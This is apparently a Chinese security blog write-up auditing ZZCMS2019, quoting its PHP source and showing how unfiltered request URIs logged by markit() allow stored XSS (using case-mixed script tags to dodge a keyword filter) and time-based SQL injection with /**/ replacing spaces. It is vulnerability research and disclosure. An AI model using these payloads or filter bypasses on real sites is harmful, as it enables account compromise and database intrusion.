原创干货 | ZZCMS2019从存储型XSS到前台SQL注入

前言

这套CMS被大手子们审计烂了。。。我这个菜鸡只能抢口剩汤喝喝。。

存储型XSS

这套CMS搭建完成后是这样的 1563459211968.png

先从功能点入手,注册个账号,看看有什么权限 1563459294295.png

用户中心显示的功能比较少,但是目录已经出来了domain/user/

进目录看看文件,其中ask.php这个文件引起了我的注意 1563459354263.png

直接访问看看 1563459372498.png

哦豁?空的?眉头一皱发现没那么简单

就从这个文件开始入手

首先在48行左右发现了GET传递的do参数

<?php
$do=isset($_GET['do'])?$_GET['do']:'';
switch ($do){
case "add";add();break;
case "modify";modify();break;
}

分别看下两个函数干了什么 1563459487655.png

//add函数
function add(){
$tablename="zzcms_ask";
include("checkaddinfo.php");
?>
<div class="admintitle">发布问答信息</div>  
<form action="?do=save" method="post" name="myform" id="myform" onSubmit="return CheckForm();">
        <table width="100%" border="0" cellpadding="3" cellspacing="1">
          <tr> 
            <td width="18%" align="right" class="border2">类别<font color="#FF0000">(必填)</font>:</td>
            <td width="82%" class="border2"> 
              <?php
$sql = "select * from zzcms_askclass where parentid<>0 order by xuhao asc";
$rs=query($sql);
?>
<script language = "JavaScript" type="text/JavaScript">
var onecount;
subcat = new Array();
        <?php 
        $count = 0;
        while($row = fetch_array($rs)){
        ?>
subcat[<?php echo $count?>] = new Array("<?php echo trim($row["classname"])?>","<?php echo trim($row["parentid"])?>","<?php echo trim($row["classid"])?>");
        <?php
        $count = $count + 1;
       }
        ?>
onecount=<?php echo $count ?>;

function changelocation(locationid){
 document.myform.smallclassid.length = 1; 
    for (i=0;i < onecount; i++){
            if (subcat[i][1] == locationid){ 
                document.myform.smallclassid.options[document.myform.smallclassid.length] = new Option(subcat[i][0], subcat[i][2]);
            }        
        }
    }</script>
 <select name="bigclassid" class="biaodan" onChange="changelocation(document.myform.bigclassid.options[document.myform.bigclassid.selectedIndex].value)" size="1">
                <option value="" selected="selected">请选择大类别 </option>
                <?php
    $sql = "select * from zzcms_askclass where  parentid=0 order by xuhao asc";
    $rs=query($sql);
    while($row = fetch_array($rs)){
        ?>
        <option value="<?php echo $row["classid"]?>"><?php echo $row["classname"]?></option>
    <?php 
    }   
    ?>      
              </select> 
              <select name="smallclassid"  class="biaodan">
                <option value="0">不指定小类</option>
              </select></td>
          </tr>
          <tr> 
            <td align="right" class="border">标题<font color="#FF0000">(必填)</font>:</td>
            <td class="border">
             <input name="title" type="text" id="title" size="50" maxlength="255"  class="biaodan">
             <span id="quote"></span>
             </td>
          </tr>
          <tr id="trcontent"> 
            <td align="right" class="border2" >内容<font color="#FF0000">(必填)</font>:</td>
            <td class="border2" > <textarea name="content" id="content"></textarea> 
              <script type="text/javascript">CKEDITOR.replace('content');</script></td>
          </tr>

          <tr id="trkeywords">
            <td align="right" class="border" >悬赏积分:</td>
            <td class="border" ><select name="jifen" id="jifen">
              <option value="0" selected="selected">0</option>
              <option value="5">5</option>
              <option value="10">10</option>
              <option value="20">20</option>
              <option value="30">30</option>
            </select>
            <?php      
        $rs=query("select totleRMB from zzcms_user where username='" .$_COOKIE["UserName"]. "'");
        $row=fetch_array($rs);
        echo "您的积分:".$row['totleRMB'];
            ?>            </td>
          </tr>

          <tr> 
            <td align="right" class="border">&nbsp;</td>
            <td class="border"> <input name="Submit" type="submit" class="buttons" value="发布">
              <input name="action" type="hidden"  value="add"></td>
          </tr>
        </table>
</form>
<?php
}

简单看了下没多大问题,再来看看第二个函数 1563459619725.png

//modify函数
function modify(){
global $username;
?>

<div class="admintitle">修改问答信息</div>
<?php
$page = isset($_GET['page'])?$_GET['page']:1;
checkid($page);
$id = isset($_GET['id'])?$_GET['id']:0;
checkid($id,1);

$sqlzx="select * from zzcms_ask where id='$id'";
$rszx =query($sqlzx); 
$rowzx = fetch_array($rszx);
if ($id<>0 && $rowzx["editor"]<>$username) {
markit();
showmsg('非法操作!警告:你的操作已被记录!小心封你的用户及IP!');
}
?>    
.......省略

首先获取了下pageid并使用checkid函数进行了检查,虽然下面有拼接SQL语句,但是绕过比较麻烦,然后对当前页面所有权进行了检测,如果不是当前页的作者就调用markit();函数,并且返回警告信息 1563459707928.png 1563459812156.png

另外注意到在showmsg('非法操作!警告:你的操作已被记录!小心封你的用户及IP!');这行上面调用了markit()这个函数,跟进去看看

inc\function.php的138行左右 1563460472529.png

//$_SERVER['HTTP_REFERER'];//上页来源
function markit()
{
    $userip = $_SERVER["REMOTE_ADDR"];
    //$userip=getip();
    $url = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
    query("insert into zzcms_bad (username,ip,dose,sendtime)values('" . $_COOKIE["UserName"] . "','$userip','$url','" . date('Y-m-d H:i:s') . "')");
}
//$url为当前页的URI(URL+参数),这个可控
//$_COOKIE["UserName"]为cookies中的用户名,

拼接了SQL语句,并且没有过滤,总结下目前情况

  1. 首先获取了下pageid并使用checkid函数进行了检查,虽然下面有拼接SQL语句,但是绕过比较麻烦,然后对当前页面所有权进行了检测,如果不是当前页的作者就调用markit()函数,并且返回警告信息。
  2. 要触发markit()函数需要满足条件如下
    1. do参数为modify
    2. page参数不能为你发布的且为数字
    3. id参数同上

另外还需要注意在全局过滤函数中有这么一行

<?php
//主要针对在任何文件后加?%3Cscript%3E,即使文件中没有参数
if (strpos($_SERVER['REQUEST_URI'],'script')!==false || strpos($_SERVER['REQUEST_URI'],'%26%2399%26%')!==false|| strpos($_SERVER['REQUEST_URI'],'%2F%3Cobject')!==false){
die ("无效参数");//注意这里不能用js提示
}

那么构造payload如下domain/user/ask.php?do=modify&page=1&id=1&aaa=<ScriPt>alert(/xss/)</ScRiPt>

然后使用burpsuite发包

可以看到触发了警告信息 1563460503245.png

当管理员查看不良操作时,熟悉的弹框就出来了 1563460540084.png

SQL注入

还是markit()函数,既然没有对URI进行过滤直接写入数据库,那么能不能搞点事情呢?

先看看这个query函数怎么执行的 1563460628040.png

可以看到直接带入mysqli_query,那么尝试构造下payload

原始SQL语句

insert into zzcms_bad (username,ip,dose,sendtime)
values
('" . $_COOKIE["UserName"] . "','$userip','$url','" . date('Y-m-d H:i:s') . "')

既然只有$url可控,那么直接构造传入的URI就可以了,先直接让数据库执行sleep()函数

insert into zzcms_bad (username,ip,dose,sendtime)values('test','127.0.0.1','http://www.zzcms2019.cc/user/ask.php?do=modify&page=1&id=1&aaa='or sleep(5),'');# 1563460855588.png

OK 成功,那么直接构造就行了

GET /user/ask.php?do=modify&page=1&id=1&aaa='or sleep(5),'');# HTTP/1.1

结果发现并没有执行 1563460935987.png

在函数中dump下$url看看原因 1563460982085.png

发现被url中的空格截断了 1563461016341.png

那么直接用注释/**/替换 1563461049641.png

成功睡眠5秒,证明存在SQL注入。

免责声明:文章内容不代表本站立场,本站不对其内容的真实性、完整性、准确性给予任何担保、暗示和承诺,仅供读者参考,文章版权归原作者所有。如本文内容影响到您的合法权益(内容、图片等),请及时联系本站,我们会及时删除处理。查看原文

为您推荐